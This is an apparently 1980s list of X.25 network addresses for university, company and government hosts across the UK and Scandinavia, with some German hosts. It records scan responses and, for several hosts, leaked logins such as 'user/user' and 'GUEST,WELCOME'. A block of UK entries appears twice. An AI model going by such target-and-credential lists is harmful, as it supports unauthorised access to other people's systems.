0232 9 Radio Austri
A 0232 911 602 323 Inpadoc
0234 GB United Kingdom
0234 1 IPSS IPSS UK network
A 0234 110 020 02018 BT DIALCOM GROUP (PRESTEL ?)
0234 2 PSS
0234 198 061 60 Queen Marry C.
B 0234 207 920 002 SWVA
0234 211 920 100515 Hostess Doc.
0234 212 Dialnet
O 0234 212 080 105
I 0234 212 080 110 EPSONUK Epson (UK)
A 0234 212 300 120 DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 12011 DIALNET LRS-DIALOG 2 Dialog via London
Ar0234 212 300 12013 DIALMRC LRS-Dialmail (Reverse Charging)
A 0234 212 300 120*D@ DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 2920 GeoNet GEO2
B 0234 212 301 161 OPTEL
0234 212 301 186 GEOSYSTEMS
0234 212 301 187 CAP GROUP LTD.
0234 212 301 18722 CAP CAP Industry Ltd.
0234 212 301 281 ONE TO ONE COMMS
O 0234 212 302 02192 PSSCLK PSS Clock
B 0234 212 399 12013 DIALMAL Dialmail via London
A 0234 212 900 115 STL STL : ACER (BSD UNIX 4.2)
0234 213 000 11
0234 213 000 151 COMPUTAS Computas Ltd
0234 213 000 1511 COMPUTAS LTD.
D 0234 213 900 10150 ALVEY Alvey Mail and FTP.
0234 214 200 162 GLAXO Galaxo Industries
0234 214 400 12 CONTROL DATA LTD.
0234 215 000 11600 C3
0234 215 710 104 Consultans Ltd
0234 216 700 127 PFIZER Pfizer, SANDWICH
0234 216 700 12701 PFIZER1 Pfizer, SANDWICH
0234 216 700 12702 PFIZER2 Pfizer, SANDWICH
0234 216 700 12703 PFIZER3 Pfizer, SANDWICH
0234 216 700 12704 PFIZER4 Pfizer, SANDWICH
0234 216 700 12706 PFIZER6 Pfizer, SANDWICH
0234 218 801 00300 British Telecom Hotline
0234 2 PSS
0234 198 061 60 Queen Marry C.
B 0234 207 920 002 SWVA
0234 211 920 100515 Hostess Doc.
0234 212 Dialnet
O 0234 212 080 105
I 0234 212 080 110 EPSONUK Epson (UK)
A 0234 212 300 120 DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 12011 DIALNET LRS-DIALOG 2 Dialog via London
Ar0234 212 300 12013 DIALMRC LRS-Dialmail (Reverse Charging)
A 0234 212 300 120*D@ DIALNET IGS Leased line to DIALOG in US
A 0234 212 300 2920 GeoNet GEO2
B 0234 212 301 161 OPTEL
0234 212 301 186 GEOSYSTEMS
0234 212 301 187 CAP GROUP LTD.
0234 212 301 18722 CAP CAP Industry Ltd.
0234 212 301 281 ONE TO ONE COMMS
O 0234 212 302 02192 PSSCLK PSS Clock
B 0234 212 399 12013 DIALMAL Dialmail via London
A 0234 212 900 115 STL STL : ACER (BSD UNIX 4.2)
0234 213 000 11
0234 213 000 151 COMPUTAS Computas Ltd
0234 213 000 1511 COMPUTAS LTD.
D 0234 213 900 10150 ALVEY Alvey Mail and FTP.
0234 214 200 162 GLAXO Galaxo Industries
0234 214 400 12 CONTROL DATA LTD.
0234 215 000 11600 C3
0234 215 710 104 Consultans Ltd
0234 216 700 127 PFIZER Pfizer, SANDWICH
0234 216 700 12701 PFIZER1 Pfizer, SANDWICH
0234 216 700 12702 PFIZER2 Pfizer, SANDWICH
0234 216 700 12703 PFIZER3 Pfizer, SANDWICH
0234 216 700 12704 PFIZER4 Pfizer, SANDWICH
0234 216 700 12706 PFIZER6 Pfizer, SANDWICH
0234 218 801 00300 British Telecom Hotline
0234 219 PSS-Network
0234 219 200 001 Network Monitoring Centre (NFS)
0234 219 200 002 Network Monitoring Centre (NFS)
0234 219 200 100 University of London Computing Centre
0234 219 200 10069 JANETGW PSS/JANET Gateway (ULCC)
B 0234 219 200 101 Finsbury Data Service
0234 219 200 1082 BING COMPUTER SERVICES (EUROPE) LTD.
A 0234 219 200 118 ADPUK ADP NETWORK SERVICES LTD. (=AUTONET?)
0234 219 200 118 atomic energy research establishment
0234 219 200 13370 QTLON Quantime
A 0234 219 200 146 CEGB CEGB, Park Street, London
B 0234 219 200 14869 ULCC Univ. London Computer Centre (=JANET2?)
B 0234 219 200 14918 UCLMVAX UCL Microvax ARPA Gateway
B 0234 219 200 14970
0234 219 200 154 UNILEVER COMPUTER SERVICES LTD.
A 0234 219 200 171 LEXIS LEXIS
A 0234 219 200 190 INFOLINE PERGAMON INFOLINE LTD. (NFS)
A 0234 219 200 203 IPSH SHARP, I. P. ASSOCIATES LTD.
A 0234 219 200 220 BRITISH LIBRARY ON-LINE SYSTEM
A 0234 219 200 222 BLAISE British Library Information System
0234 219 200 297 RLFE & NOLAN COMPUTER SERVICES PLC
B 0234 219 200 300 UCL University College London - Computer
0234 219 200 300 UCLFTP UCL (FTP)
A 0234 219 200 300 UCLMAIL UCL (JNT Mail)
0234 219 200 304 University Computing Company (GB) Ltd.
B 0234 219 200 333 EUCLID University College London Computer Centre
0234 219 200 394 CISI CISI (=SIANET?;=Computer Services, London?)
0234 219 200 871 Instrument Rentals (UK) Ltd.
B 0234 219 201 002 POOLE
0234 219 201 004 BGOLD81 Telecom BT-GOLD System 81
0234 219 201 00472 BGOLD72 Telecom BT-GOLD System 72
0234 219 201 00474 BGOLD74 Telecom BT-GOLD System 74
0234 219 201 00479 BTGOLD Telecom BT-GOLD System 79
0234 219 201 00481 BTGOLDA Telecom BT-GOLD System 81
0234 219 201 00482 BTGOLD82 Telecom BT-GOLD System 82
0234 219 201 00484 BGOLD84 Telecom Gold System 84
0234 219 201 005 PSSMAIL PSS TELE-MAIL service
B 0234 219 201 00513 DIANENQ Euronet DIANE Enquiry Service
(=Echo,Rutherford?)
B 0234 219 201 00513 EUROINFO Euronet Diane Information Service
(=Echo,Rutherford?)
A 0234 219 201 00515 BTDOC BT Online Documentation Service
A 0234 219 201 00515 HOSTESS Hostess system (BT)
0234 219 201 00530 BAYNARD BT Protocol Study Centre (NFS)
0234 219 201 00615 PSSDOC PSS documentation service/X25 technical
info on line
0234 219 201 00620 BTBILL BT Online Billing
0234 219 201 0100513
0234 219 201 01013 HOSTESS Hostess system (BT) (=PSS Switchstream 1 ?)
T 0234 219 201 01030 TSTB British Telecom
0234 219 201 025 PRESTEL BT Prestel Service
0234 219 201 02517
0234 219 201 07800
0234 219 201 15600 ESA1 ESA-IRS via London
0234 219 201 18 ADPUK ADP Network Services Ltd
0234 219 210 050 BT Mailbox facility (NFS)
0234 219 511 31 GEC GEC Computers Borehamwood
0234 219 511 311 GECB GEC Computers Ltd. Borehamwood
0234 219 513 11 GECB GEC Computers Ltd. Borehamwood
0234 219 709 111 Modular Computer Services Ltd. (MODCOMP)
? 0234 219 709 111 NPL1 National Physical Laboratory
0234 219 709 210 NPL2 National Physical Laboratory, Protocol Std
Group
B 0234 219 806 160 QMC Queen Mary College London
X 0234 220 200 1070 island-Adventure-Game
X 0234 220 200 10700 island-Adventure-Game
0234 220 641 141 ESSX Essex, University of, Computing Service
(2653,2653,Mist)
A 0234 220 641 1411 MUD (Adventure Game), <guest>, <mist> or
<2653,2653>
B 0234 221 222 122 MIDB MIDNET Gateway at Birmingham (=MIDBHM)
0234 221 222 223 BIRP Prime R & D at Birmingham
0234 221 222 225 Freight Comp. Services
0234 222 236 163 CARDF Cardiff, University College
0234 222 236 16300 CARDIFF Univ. Coll. Cardiff Multics
0234 222 236 236 UWIST University of Wales
0234 222 300 16102 ACORN Acorn Computers
0234 222 339 399 CAMBRID Cambridge University (Phoenix)
0234 222 530 303 SWURCC South-West Universities
0234 222 530 30388 SWURCC South-West Universities Network
0234 222 530 30398 SWCFTP SWURCC (FTP)
A 0234 222 715 151 KENT University of Kent
X 0234 222 715 11 ? (---,Guest,Friend (call PIP))
0234 223 440 TI Texas Instruments Ltd
0234 223 440 144 BED5 Prime R & D at Bedford (NFS)
0234 223 440 345 TI Texas Instruments Ltd
0234 223 500 10998 HLH High Level Hardware Ltd.
B 0234 223 519 111 AERE Atomic Energy Research Establishment at
Harwell
T 0234 223 519 11198 ADA ADA UK Database
0234 223 519 119169 JANET
0234 223 519 191 DLVAFTP Daresbury SRS VAX (FTP)
A 0234 223 519 191 JANET Gateway to JANET at Rutherford
0234 223 519 191 OUCSFTP OUCS VAX (FTP) - Experimental
0234 223 519 191 REVSFTP ROE Starlink VAX (FTP)
0234 223 519 191 RLDAFTP Rutherford DCS 11/70 (FTP)
0234 223 519 191 RLGBFTP RL GEC (FTP)
0234 223 519 191 RLIBFTP RL IBM 370 CMS (FTP)
0234 223 519 191 RLPCFTP L Prime C (FTP)
0234 223 519 191 SERC Gateway to SERCNET at Rutherford
0234 223 519 191 SERCENQ SERCNET Acc & P/word Fac.
0234 223 519 191 SYPEFTP Surrey Prime 550 (FTP)
0234 223 519 191 UEAFTP East Anglia via SERC (FTP)
0234 223 519 191 ZUVSFTP UCL Starlink VAX (FTP)
A 0234 223 519 19169 SERCNET R/ford XXX SERCnet g/way
(=DARESBURY,=JANET?)
? 0234 223 519 19169,.10404000 Lancaster Uni
B 0234 223 519 19169,.36 Oxford2
? 0234 223 519 19169,49000001
B 0234 223 519 19169,.50200014 Oxford
B 0234 223 519 19169,.CPVC Omega VAX
A 0234 223 519 19169,.CPVD Merlin VAX
B 0234 225 621 126 DECSS DEC Software Support VAX (=BEANO?)
0234 227 200 110 GEAC 8000 ITI
0234 227 200 112 HPLB HPLB (Hewlett Packard Labs, Bristol)
0234 227 230 230 BRST University of Bristol
0234 227 230 23000 BRISTOL University of Bristol
0234 227 230 231 DLLON Comp. & Manag. Services Ltd.
0234 227 230 301 GAC Computers Ltd.
0234 227 230 333 AVON Avon Universities Computer Centre
0234 227 230 33300 AUCC Avon Universities Computer Centre
0234 227 230 33398 AUCCFTP AUCC (FTP)
B 0234 227 900 102 BLAISE British Library Information System
0234 227 900 10400 ESTELLE STC Estelle
0234 227 900 14302 ITT ITT Harlow (=ALCATEL?)
0234 231 300 101 PRIME Office, Edinburgh
0234 231 300 102 Forestry Commission FTP
0234 231 300 105 LATTLOG Lattice Logic LTD
0234 231 300 107
B 0234 231 354 354 ERCC Edinburgh Regional Computer Centre
0234 231 354 35419 BUSHFTP RCO 2988 (FTP)
B 0234 231 354 35422 ERCC ERCC - 2980, 2972 (EMAS) (=RCONET?)
0234 232 500 124 EXIS EXIS
I 0234 233 458 158 STAND St. Andrews University VAX
B 0234 233 458 15898 STANFTP St. Andrews Univ. (FTP)
0234 234 417 117 ICL at Bracknell
0234 227 230 333 ?
B 0234 239 232 323 EXETER1 Exeter University
0234 239 232 32304 EXTR University of Exeter
0234 241 200 107
0234 241 260 106 SCRSX University of Strathcylde PDP-11/44 (RSX)
A 0234 241 260 10604 ? (,5020015,Birch/Bryan)
0234 241 260 260 GLSG University of Glasgow (NFS)
B 0234 241 260 26004 Glasgow
0234 246 200 10243 ICL West Gorton 'B' Service
0234 246 200 10248 ICL West Gorton 'X' Service
0234 246 200 10277 ICL West Gorton Perq
0234 246 240 240 ICLL ICL at Letchworth (=Kidsgrove?) (NFS)
0234 247 300 103 MTIER Management Systems Ltd.
0234 247 300 10300 Bridge, Switch
0234 247 300 10340 Bridge, (VAX/VMS)
0234 247 300 10345 Bridge, (MUX(VT100))
0234 247 300 10346 Bridge
0234 247 302 022 MHGA LDC at Martlesham
0234 248 300 106 DWENT-SDC Search Service
0234 248 321 321 DWENT-SDC Search Service
B 0234 251 248 248 LIVE University of Liverpool
0234 252 724 241 BSL BL Systems Ltd.
0234 253 265 165 LEEDS University of Leeds (NFS)
0234 253 300 124 CAMTEC Camtec, Leicester
0234 253 300 12406 CAMTEC Camtec, Leicester (hard copy printer)
0234 258 200 106 ARC Agricultural Research Council (GEC -
Switch)
0234 258 200 106 EMALFTP East Malling (FTP)
0234 258 200 106 RESFTP RES (Rothampstead) - FTP
0234 258 200 10604 AGRIFTP AGRINET (CPSE) FTP
0234 258 200 10604 AGRINET AGRINET Gateway
0234 258 200 10604 EASTMAL East Malling
0234 258 240 242 GECD GEC Computers Ltd at Dunstable
0234 258 240 24200 MRCA GEC - Marconi Research Centre
B 0234 260 227 227 MIDN MIDNET Gateway at Nottingham (University
Leicester?) (=MIDNOT?)
B 0234 261 456 8383 Microlink
B 0234 261 600 119 Manchester
0234 261 600 133 IBM - SALE (also FTP)
B 0234 261 600 152 UMDAFL University of Manchester Dataflow VAX
0234 261 643 143 UMRCC University of Manchester Regional Computer
Centre
0234 261 643 14398 UMRFTP UMRCC (FTP)
0234 261 643 210 SALF Salford University
0234 261 643 21090 SALFORD Salford -> GANNET
0234 261 643 21090 NRS NRS
B 0234 261 643 343 FERRANTI Feranti Computer Systems
0234 261 643 365 ICLBRA
0234 261 643 36543 ICL West Gorton 'B' Service
0234 261 643 36548 ICL West Gorton 'X' Service
0234 261 643 36577 ICL West Gorton Perq (also FTP)
0234 262 500 484 Software Sciences Ltd.
B 0234 262 800 151 CDM/EH (=Maidenhead?)
0234 262 800 43300
B 0234 263 259 159 NUMAC University of Newcastle
0234 264 200 136 Primenet
B 0234 270 500 115 MAXXIM
B 0234 270 500 142 Farenham
T 0234 270 500 15 Uni Brighton (GUEST,WELCOME)
0234 270 712 217 HATF Hatfield Polytechnic
0234 273 417 171 DEC-RDG Digital Equipment Ltd Reading
0234 273 417 217 MODC Modcomp
0234 273 417 317 DECR DEC at Reading
0234 274 200 103 SHEFFIELD, University of, Dept.of
Electronic & Elec...
0234 274 200 103*DCODUCODUS Codus
0234 274 253 385 DVY Computing Ltd.
0234 274 317 31
0234 275 300 102 GIS Ltd.
0234 275 312 212 BOC British Oxygen (=The World Reporter??)
0234 275 312 212 DATASOLVE as above
0234 275 312 212 EUROLEX British Oxygen Company
0234 275 317 173 Lynx Computers Ltd.
0234 275 317 177 TELEFILE Computer Services Ltd.
0234 275 317 177 GSI GSI (NFS)
0234 278 228 282 ICL Letchworth
0234 278 228 288 ICL Letchworth
0234 284 400 108 Culham, (VAX)
0234 284 400 123 ALVEY Alvey Electronic Mail
B 0234 289 500 109 UXB
0234 290 468 168 YORK York University PSS Gateway
B 0234 290 468 168 YORKFTP York University (FTP)
0234 290 468 168 Gateway To DEC-10 At York
0234 290 468 16804 YORKTS York TS29 Port
0234 290 524 242 RSRE Radio, Space Research Establishment
0234 290 524 24203 RSREDL RSRE
0234 290 524 24204 RSRESNK RSRE
0234 290 524 24250 RSREA Radio, Space Research Establishment for
ALVEY mail
0234 290 840 111 POLIS SCION
0234 290 840 111 SCICON SCICON, South England
0234 292 549 149 DL SERC at Daresbury Laboratory
0234 293 212 212 DATASOLVE LTD.
0234 293 212 212 BOC British Oxygen Company (NFS)
D 0234 293 765 ARTTEL British Library, Boston Spa
0234 293 765 265 British Library Lending Divi.
0234 299 212 221 NOLTON Nolton Communications Ltd. (NFS)
0234 3 Euronet
0234 307 813 EUROINFO Euronet Diane Information Service
0234 8 TELEX UK Telex network
0234 892 992 0 DECTELX
I 0235 200 143 00165
0238 DK Denmark
0238 2 Datapak
A 0238 241 592 400 Valby I/S Datacentralen
A 0238 241 745 600 RECKU Univac in Copenhagen University
0238 241 745 60000 Recku Univac (Enter @@ENQ)
0238 241 745 60002 UDIKU
A 0238 242 126 400 Lyngby DTB; I/S Datacentralen
I 0238 389 3 Euronet Aarhus
0240 S Sweden
I 0240 181 559 76 LIUIDA S Linkvping LiUIDA Teletex
0240 2 Datapak
A 0240 200 002 05 Uppsala STUNS VAX/UNIX KULING
I 0240 200 044 4 ENEA ENEA
A 0240 200 100 110 Stockholm QZ/DEC-10
A 0240 200 100 120 Stockholm QZ/CD Cyber 730
O 0240 200 100 203 Uppsala, UU, Teknikum, NORD 100/500
A 0240 200 100 205 Uppsala, UU, Stuns, VAX 750
A 0240 200 100 206 Uppsala, UDAC/DECnet RTR18A
O 0240 200 100 207 Uppsala, UDAC, Cyber 835
A 0240 200 100 228 Uppsala, UDAC/UPNET - Terminalnaet
A 0240 200 100 232 Uppsala, UDAC, IBM/GUTS (BASF 7/68 ?)
O 0240 200 100 28 Uppsala Upnet
? 0240 200 100 30 Umeaa VAX-750 Skogsh. Umeaa Univ
A 0240 200 100 303 Umeaa, UMDAC/BIOVAX
A 0240 200 100 304 Umeaa, Skogshoegskolan, VAX 750
A 0240 200 100 305 Umeaa, UMDAC/DECnet RTR09A, (Vax 11/750)
A 0240 200 100 30520 Umeaa, UMDAC/BASUN
A 0240 200 100 30540 Umeaa, UMDAC/UTB1 (Vax 11/780)
A 0240 200 100 30550 Umeaa, UMDAC/UTB2 (Vax 11/750)
A 0240 200 100 30570 Umeaa, UMDAC/OSTVAX (Vax 11/780, Hoegsk i
Oe-sund)
A 0240 200 100 307 Umeaa, UMDAC/Cyber 850
D 0240 200 100 312 Luleaa, Tekn hoegsk, NORD 100
D 0240 200 100 313 Luleaa, Tekn hoegsk, NORD 100
A 0240 200 100 328 Umeaa, UMDAC/NUNET - Terminalnaet
D 0240 200 100 33 Umeaa VAX-11/780
A 0240 200 100 403 Linkoeping, ULi/LIUIDA, uVAX-I
D 0240 200 100 404 Linkoeping, ULi/PDP 11/23 BULL
A 0240 200 100 405 Linkoeping, LIDAC, VAX 11/780 VIKTOR
A 0240 200 100 407 Linkoeping, LIDAC/DECnet RTR13A, uVAX-II
D 0240 200 100 432 Linkoeping, LIDAC/TEXAS - Terminalnaet
A 0240 200 100 7 Primenet
A 0240 200 101 903 Stockholm, SU, Psykologi, Prime 750
A 0240 200 101 904 Stockholm, QZ IBM (Amdahl)
A 0240 200 101 905 Stockholm, QZ, NFRVAX
A 0240 200 101 907 Stockholm, QZ/DECnet RTR08A
A 0240 200 101 914 Stockholm, SU, Fysik, Vax 780
D 0240 200 101 926 Stockholm, KTH/KTHNET - Terminalnaet
A 0240 200 101 928 Stockholm, QZ/QZNET - Terminalnaet
O 0240 200 102 06 Uppsala UDAC uVAX-II RTR18A
O 0240 200 102 07 Uppsala CD Cyber 835
A 0240 200 102 7 Stockholm DEC-10/Janus
A 0240 200 102 71 Stockholm DEC-10/Janus
A 0240 200 201 603 Goeteborg, CTH, Infobeh, VAX 750, Unix
D 0240 200 201 604 Goeteborg, GU, Pedagogiska inst, Prime 550
A 0240 200 201 605 Goeteborg, GU, Statistiska inst, Prime 550
D 0240 200 201 606 Goeteborg, CTH, Tillaempad Elektronik, VAX
750
A 0240 200 201 607 Goeteborg, Tillaempad Elektronik/DECnet
RTR31A (RTR18A ?)
A 0240 200 201 628 Goeteborg, GD/GUCNET - Terminalnaet
D 0240 200 201 632 Goeteborg Upnod
A 0240 200 205 4 SCB
A 0240 200 278 0 Oerebro, Hoegskolan, Prime
A 0240 200 292 6 Karlstad, Hoegskolan, VAX 11/780
D 0240 200 310 204 Lund, Fysikum, NORD 500, Lucas
O 0240 200 310 206 Lund, Maxlab, NORD 100
A 0240 200 310 207 Lund, LDC/DECnet RTR46A, uVAX-II
A 0240 200 310 20720 Lund, LDC/GEMINI, Vax 8350
A 0240 200 310 228 Lund, LDC/LUNET - Terminalnaet
0240 201 001 30 Stockholm QZ/Amdahl
0240 201 002 03 Uppsala Teknikum Nord 100/500
0240 5 SWEDEN Swedish data network (Telepak)
I 0240 500 025 3 QZXB QZ by yet another route
I 0240 500 025 7 Stockholm, DEC, VAX
I 0240 501 50 Scannet, Goteborg
I 0240 501 51 Scannet, Helsingfors
I 0240 501 52 Stockholm KTH/TTDS
I 0240 501 531 0 QZCOM QZ-COM - Stockholm University DEC-10
I 0240 501 532 0 QZCB QZ Cyber
I 0240 501 533 0 QZIB QZ Amdahl
I 0240 501 54 UPPS Uppsala network, Sweden
I 0240 501 550 3 Gottenburg, Sweden
I 0240 501 582 8 LUND Lund University
I 0240 501 60 Helsinki CP9500 HYLK B7800
I 0240 502 00 Scannet, Stockholm
I 0240 502 01 Denmark, Copenhagen Scannet
I 0240 502 02 Tandem Computers
I 0240 502 032 8 QZXA QZ Sweden via reverse PAD (=UPNET?)
I 0240 502 032 832 Oden, Sweden
I 0240 502 033 2 QZDA QZ DEC-10 Sweden
I 0240 502 04 Prime Computers
I 0240 502 05 Vaesteraas PAD ASEA Multics
I 0240 502 52 KEMIDATA
I 0240 502 53 QZXB QZ by yet another route
0240 515 330 Amdahl
0242 N Norway
0242 2 NORWAY Norwegian data network (Datapak/Norpak)
0242 192 010 1013 PSS DOC
X 0242 211 000 00107 OSLO DEC-1099 DEC-net/PSI at Oslo University
D 0242 211 000 001*D02 Oslo univ BRU-nett UNINETT
D 0242 211 000 001*D03 OSLO DEC-10 at Oslo University
D 0242 211 000 00100 Oslo univ DEC-1099 UNINETT
D 0242 211 000 002 Oslo Scannet NSI Nord-100
D 0242 211 000 01018 DATAPIN DATAPAK Info - Norway
B 0242 211 000 074 Oslo VAX
T 0242 223 000 00151 RBK Cyber 170 at IFE (Energy Research Centre)
T 0242 223 000 001*D00 RBK Cyber 170 at IFE, Kjeller RBK UNINETT
D 0242 223 000 002 Kjeller FFI UNINETT
D 0242 245 000 00101 BERGEN Univac at Bergen University (UNINETT)
D 0242 245 000 001*D00 BERGEN Univac at Bergen University
A 0242 245 013 4 BBB Mailbox (Bergen By Byte)
0242 253 000 001*D11 Trondheim UNINETT RUNIT UNIVAC
T 0242 253 000 00101 RNI Univac at Trondheim University
X 0242 253 000 00103 Trondheim RUNIT UNINETT VAX-780 (=PUNIT
(EANNET) ?)
T 0242 253 000 00104 Trondheim NLHT UNINETT VAX-750
0242 265 000 001*D00 Tromso UNINETT U of Tromso, Cyber 171
0242 253 000 001*D11 RUNIT Univac at Trondheim University
0242 265 000 001*D81 Tromso UNINETT U of Tromso, NORD-10
0242 265 000 001*D82 Tromso UNINETT U of Tromso, NORD-100
0242 265 000 001*D83 Tromso UNINETT U of Tromso, NORD-500
0242 265 000 00101 TROMSOE Cyber 170 at Tromsoe University (UNINETT)
0242 265 000 001*D81 TROMSO ELAN at Tromsoe University
X 0242 265 000 106 PORTACOM (PORTACOM)
0244 SF Finland
0244 2 Datapak (Finpak)
A 0244 202 006 Economics HP 3000
A 0244 202 007 University of Helsinki, B7800 (=CANDE ?)
A 0244 202 008 VTKK (Staten DC) IBM 360
A 0244 202 012 U o Helsinki Mopo Mikko3
A 0244 203 008 HELVA High Energy Physics Vax 11/750
A 0244 203 017 U of Technology DEC-20
D 0244 231 006 Technical University of Tampere VAX
A 0244 253 001 Tech U of Lappeenranta VAX/VMS
A 0244 261 001 U of Vaasa VAX/VMS
A 0244 273 002 University of Joensuu VAX
D 0248 321 321 DWENT-SDC Search Service
0262 D Germany
0262 3 Euronet
X 0262 307 4 INFAS
0262 4 GERMANY German data network (Datex-P)
I 0262 428 462 10706
I 0262 428 479 11065
D 0262 432 210 43002 Apple
Ar0262 432 210 93001 Quick-Com
Y 0262 442 010 49132
O 0262 442 110 40325 OKI
Y 0262 442 110 49130 PAD Frankfurt
Y 0262 442 110 49133
Y 0262 442 110 49230
I 0262 442 151 40327 KIS (info)
I 0262 442 210 49331
A 0262 442 210 90371 elma-mailbox (~pim)
Y 0262 442 210 99632
O 0262 442 310 40312 Bibliothek Chemie
I 0262 442 310 90306 Chemie
I 0262 442 410 40341 RMI RMI Mailbox Aachen
I 0262 442 433 40307 CMES
O 0262 442 461 40343
Y 0262 443 000 49234
A 0262 443 000 90314 ?
Y 0262 443 000 99131
I 0262 444 000 90314 CCC Hamburg (Clinch), Hackerbox (1 line...)
Y 0262 444 000 90330 Allgemeine Bank der Niederlande
O 0262 444 000 90342 Batig Beteiligungen GmbH
A 0262 444 000 90374 Master Control System (MCS) Hamburg
Y 0262 444 000 99132
Y 0262 444 441 40317 Osnabrueck, Driverstr.24, 2848 Vechta
I 0262 445 110 30317 Metereologie
I 0262 445 110 90323 Bibliothek
I 0262 446 154 40371 DECATES - Oberramstadt
Y 0262 446 210 49330
Y 0262 446 810 49131
Y 0262 446 810 49132
O 0262 446 900 30331 IBD Online Frankfurt a.M.
I 0262 446 900 40318 Chemie
Y 0262 446 900 49231
Y 0262 446 900 49232
I 0262 446 900 90286 RZ
Y 0262 446 900 99133
O 0262 447 071 10303 Organische Chem.
Y 0262 447 110 49134
I 0262 447 114 9236 Emery
I 0262 447 127 90344
Y 0262 447 310 40313 Online-Literaturdok.
A 0262 447 531 40310 Chemie
I 0262 448 136 Luma Uni
O 0262 448 136 90323 Genesys EDV-Systeme
Y 0262 448 210 49630
A 0262 448 900 30368 Phoenix
Y 0262 448 900 49130
A 0262 448 900 90313 Max Planck Institut
Y 0262 448 900 90341 LMU Bibliothek
Y 0262 448 900 99632
I 0262 449 310 90312 Apel Hans-Joerg
I 0262 452 000 21721 ???
I 0262 450 000 90184
I 0262 451 104 2301
O 0262 452 010 40116 AEG-Telefunken
I 0262 452 010 40179 RZ Uni Essen
I 0262 452 020 40120 Apotheke Dr.Schiemes
I 0262 452 080 40381 DVO Datenverarbeitung
I 0262 452 090 832 ?
I 0262 452 101 30030 3M Mailbox
I 0262 452 101 40030 3M Mailbox
I 0262 452 110 40001 RZU Duesseldorf (ND100)
I 0262 452 110 40005 CIERR 1402
I 0262 452 110 40016 ADV-Orga-Meyer & Co.
I 0262 452 110 40018 ADV-Orga-Meyer & Co.
Ar0262 452 110 40026 Primenet Stadt Duesseldorf,
I 0262 452 110 40063 ADAC
I 0262 452 110 40080 Uni Duesseldorf
Dr0262 452 110 40099
D 0262 452 110 40105 RZU Duesseldorf (Siemens 7.570)
D 0262 452 110 40123 Data General
Ar0262 452 110 40130
Dr0262 452 110 40132
A 0262 452 110 40134 MCKDU VM/SP
I 0262 452 110 40211 Applid-Data-Research
I 0262 452 110 40325 OKI-GmbH
I 0262 452 110 90371 Software-Express
I 0262 452 210 0
Yr0262 452 210 40002 DIMDI Fep 1 Koeln
Ar0262 452 210 40004 Primenet (MicroVMS V4.5)
A 0262 452 210 40006 DIMDI Fep 2 Koeln (Medical docs)
I 0262 452 210 40015 Kaufhof AG
I 0262 452 210 40027 ADAC
Ar0262 452 210 40035 Primenet
A 0262 452 210 40104 DIMDI1 (German Med. Inst., Koeln)
Yr0262 452 210 40119
O 0262 452 210 40136 AEG-Telefunken
I 0262 452 210 40202 Allianz RZ
I 0262 452 210 40203 Allianz RZ
I 0262 452 210 90265 RZ Uni Koeln
I 0262 452 210 90304 Allianz RZ
I 0262 452 210 90305 Allianz RZ
I 0262 452 210 90349 Kaufhof AG (RZ 2)
D 0262 452 210 90510 Geophysik und Meteorologie
Ir0262 452 210 93001 ?
A 0262 452 241 24104 VAX
A 0262 452 241 24105 GMD2
A 0262 452 241 24134 GMDZI
A 0262 452 280 40082 GMD (TSO)
A 0262 452 280 40187 BNVA Bonn VAX (PI)
Ar0262 452 280 40191 Infas GmbH (VM)
D 0262 452 280 90020 Amtsgericht
A 0262 452 310 40003 EMX1 EMEX-Mailbox (Guest)
I 0262 452 310 40017 Primenet
O 0262 452 310 40103 AEG-Telefunken
A 0262 452 310 42100 Informatik
A 0262 452 310 42144 UNIDO University of Dortmund
I 0262 452 310 40017 Primenet
I 0262 452 310 45100 Uni Dortmund (Siemens 7.760)
A 0262 452 310 9304 Dortmund
D 0262 452 340 40140 Primenet = RZU Bochum (CDL 855) ??
A 0262 452 340 40194 RUB Cyber 205 (=855?), Ruhr University - Bochum
(RUB)
D 0262 452 410 40149 Aachener + Muenchener Versicherung
I 0262 452 410 90014 ???
I 0262 452 410 90528 rmi-aachen
A 0262 452 410 90832 RMI Datentechnik Aachen
I 0262 452 433 40307 OPTEL (Ruehlemann-Box)
I 0262 452 461 90509 Kfz Juelich
A 0262 452 710 40240 Uni Siegen, FB Physik (VAX 11/750)
D 0262 452 931 40196 Handwerkskammer (HWK) Arnsberg
I 0262 453 000 0414 GFC-AG
D 0262 453 000 20104 Vax
D 0262 453 000 217 HMI HMI in Berlin
A 0262 453 000 21711 Siemens
A 0262 453 000 21712 Siemens
A 0262 453 000 21713 Hahn-Meitner-Institut Berlin
D 0262 453 000 21714 ???
D 0262 453 000 40013 Uni Berlin
Y 0262 453 000 40014 GFC AG
Ar0262 453 000 40023 BERLIN Tech. Univ. Berlin (Computer Science)
I 0262 453 000 40027 ADAC
I 0262 453 000 40112 ABC Barkredit Bank
I 0262 453 000 40166 David Verlag
I 0262 453 000 40509 COM-Box Berlin
A 0262 453 000 20205 CN01
A 0262 453 000 43109 netmbx, Berlin
A 0262 453 000 90055 COM.BOX, Berlin
A 0262 453 000 90864 ? (GUEST)
I 0262 453 002 17 HMI Hans Mietner Institute in Berlin
I 0262 453 004 0023 Uni Berlin
I 0262 453 210 40017 tymnet-gateway
I 0262 454 000 30029
A 0262 454 000 30035 (immediately drops the line)
A 0262 454 000 30041 COM-PLETE (?) (command prefix is '*')
A 0262 454 000 30046 (immediately drops the line)
O 0262 454 000 30071
A 0262 454 000 30090 (cierr 1402)
A 0262 454 000 30104 ? ("INVALID COMMAND SYNTAX")
A 0262 454 000 30105
A 0262 454 000 30110 Host
A 0262 454 000 30113 (cierr 1402)
A 0262 454 000 30138 ? (no reaction)
D 0262 454 000 30150
D 0262 454 000 30158
A 0262 454 000 30175 ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30187 E2000 Hamburg VAX
O 0262 454 000 30201 Hasylab VAX (user/user)
A 0262 454 000 30202 HERA Magnet Measurement VAX 750 (=Krista
Cryogenics Control ?)
A 0262 454 000 30215 ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30259
D 0262 454 000 30261
A 0262 454 000 30296 DFH2001I
A 0262 454 000 30502
I 0262 454 000 30519
A 0262 454 000 30566 DFH2001I
O 0262 454 000 30578 Primenet 20.0.4 DREHH
I 0262 454 000 40014 Hahn Egon RZ !! Code: EBCDIC !!
I 0262 454 000 40015 ???
Y 0262 454 000 40042 ???
D 0262 454 000 40044 Primenet MUF
I 0262 454 000 40053 SCHERAX
Y 0262 454 000 40078 ???
A 0262 454 000 40082 ? (no reaction)
